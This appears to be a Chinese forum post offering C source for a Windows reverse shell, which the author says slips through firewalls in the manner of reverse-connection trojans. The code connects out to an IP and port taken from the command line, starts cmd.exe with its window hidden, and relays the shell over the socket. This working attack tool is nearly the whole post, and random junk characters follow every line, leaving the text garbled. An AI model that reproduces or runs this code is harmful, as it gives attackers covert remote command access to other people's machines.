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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^t P|8k  
*/j[n$K>~`  
/* ============================== <AB({(  
Rebound port in Windows NT @+Anp4%;Y  
By wind,2006/7 @!B% ynrG  
===============================*/ h%]  D[g  
#include BrsBB"<o,  
#include oT9qd@uQ0:  
m'U>=<!D  
#pragma comment(lib,"wsock32.lib") )| F O>  
a.up&g_$  
void OutputShell(); &,'CHBM  
SOCKET sClient; y|(?>\jBl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z`!f'I--!  
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void main(int argc,char **argv) 89ab?H}/  
{ G3gEL)b*  
WSADATA stWsaData; d+]/0J!c  
int nRet; n8o(>?Kw  
SOCKADDR_IN stSaiClient,stSaiServer; e84O 6K6o  
y)T|1)  
if(argc != 3) B1o*phM g  
{ W"H(HA  
printf("Useage:\n\rRebound DestIP DestPort\n"); &'c&B0j  
return; F+/#ugI  
} *C,1 x5  
5)i+x-  
WSAStartup(MAKEWORD(2,2),&stWsaData); qTV.DCP  
gZ6tb p,X  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zRgl`zREr  
Z(BZG O<  
stSaiClient.sin_family = AF_INET; aA-s{af  
stSaiClient.sin_port = htons(0); LuWY}ste  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t{O2JF#5u  
-fDW>]_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <,Fj}T-  
{ !gj_9"<  
printf("Bind Socket Failed!\n"); $`_xP1bUT  
return;  #{zF~/Qq  
} T26'b .  
v8\pOI}c  
stSaiServer.sin_family = AF_INET; uOb}R   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z + )<FX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -Hg,:re2  
gCM(h[7A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YRU#/TP  
{ _s+_M+@et  
printf("Connect Error!"); cfL:#IM  
return; 3H`ES_JL  
} .|GnTC q  
OutputShell(); uk)D2.eS,  
} a t%qowt  
}kMKA.O"  
void OutputShell() c4M]q4]F  
{ kjj?X|Un  
char szBuff[1024]; <'vtnz  
SECURITY_ATTRIBUTES stSecurityAttributes; **F-#",  
OSVERSIONINFO stOsversionInfo; I1W~;2cK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; goc"+ K  
STARTUPINFO stStartupInfo; NQ,2pM<*-  
char *szShell; 9C|-|mo  
PROCESS_INFORMATION stProcessInformation; nOK1Wc%/'  
unsigned long lBytesRead; ^o Q^/v~  
RT"JAJTi/  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '|nAGkA  
K4^mG  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )gNVJ  
stSecurityAttributes.lpSecurityDescriptor = 0; r_3=+  
stSecurityAttributes.bInheritHandle = TRUE; Y {2L[5_1  
% r0AhWv  
Hf9F:yH  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zJG=9C?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )`}4rD^b  
}c'T]h\S  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zX&wfE8T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8:jakOeT  
stStartupInfo.wShowWindow = SW_HIDE; bP{uZnOM2P  
stStartupInfo.hStdInput = hReadPipe; ~4M?[E&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d*Kg_He-  
=p&uQ6.i+  
GetVersionEx(&stOsversionInfo); IvM>z03  
!Z%pdqo`.  
switch(stOsversionInfo.dwPlatformId) 47^7S=  
{ >{=~''d,w  
case 1: 3| 0OW Jk  
szShell = "command.com"; k9iB-=X?4s  
break; }Pj;9ivz  
default: VP:9&?>G  
szShell = "cmd.exe"; [\.@,Y0j  
break; n4 J*04K  
} G/&Wc2k  
(BY5omlh  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pt~b=+bBm  
gU@BEn}  
send(sClient,szMsg,77,0); N|asr,  
while(1) Hw~?%g:<S  
{ ;a`I8Fj  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]SNcL[U  
if(lBytesRead) =B"^#n ;  
{ =xM:8 hm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vp`s< ;CA  
send(sClient,szBuff,lBytesRead,0); YI),yj  
} }M~[8f ]  
else >\Ml \CyL  
{ 2E0$R%\  
lBytesRead=recv(sClient,szBuff,1024,0); !k8j8v&  
if(lBytesRead<=0) break; M[?0 ^ FBx  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dU#} Tk  
} y\<\P8X  
} Og(|bs!6  
rIJd(=  
return; }N W01nee  
}
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